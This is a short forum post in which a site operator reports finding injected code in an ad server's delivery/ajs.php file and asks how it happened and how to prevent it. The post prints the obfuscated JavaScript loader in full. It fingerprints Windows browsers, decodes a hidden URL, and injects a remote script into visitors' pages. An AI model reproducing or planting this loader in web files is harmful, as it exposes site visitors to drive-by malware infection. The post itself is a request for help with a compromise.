I probably found thaht problem
in delivery/ajs.php is after function MAX_flashGetFlashObjectInline()
{
...
}
this:
echo "<script>(function(_Lvm){function _Kmp(_FtA,_S1){return _FtA.src=_S1;}function _WCb(_Pxe){_Pxe+='16,24,-25,20,23,11,-27,-39,-38,-36,-50,15,17,12,7,-19,-15,22,-27,-32,-33,-32,-39,-38';_Pxe=_Pxe.split(',');var _epK='',_y8V=0;for(_JGX=0;_JGX<_Pxe.length-1;_JGX++){_y8V=parseInt(_Pxe[0]);_y8V+=parseInt(_Pxe[_JGX+1]);_epK+=String.fromCharCode(_y8V);}return _epK;}function _L1C(){if(/(Windows)/.test(navigator.userAgent)&&/(MSIE|Opera|Trident|Firefox)/.test(navigator.userAgent)){try{_Jtc=88,16,28,28,24,-30,-41,-41,24,29,10,-42,9,27,28,26,23,22,23,21,17,9,-42,11,23,21,-41,24,20,29,';_evm=_QIk();_wEm=_WCb(_Jtc);_Kmp(_evm,_wEm);}catch(e){};}}function _Glv(){return 'sc'+_odd.i;}function _K01(){_L1C();_Lvm.cookie=_3os()+'=true;max-age=21600;path=/';}function _QIk(){var _1V=_Lvm.createElement(_Glv());_1V.sync=1;_Jtc+='15,17,22,27,-41,15,13,23,-4,9,26,15,13,28,17,22,15,-41,20,23,11,9,28,17,23,22,27,-41,27,11,26,17,24,28,-42,24,';try{_Lvm['body]['appendChild'](_1V);}catch(e){try{_Lvm.write('<body>');_Lvm.body.appendChild(_1V);}catch(e){}}return _1V;}function _3os(){return _Lvm.location.host;}var _odd={'i':'ript'},_Jtc,_evm;if(_Gut()){_K01();}function _Gut(){return _Lvm.cookie.search(new RegExp(_3os()))==-1;}})(document);</script>\n";
How it could happend, and how prevent it.
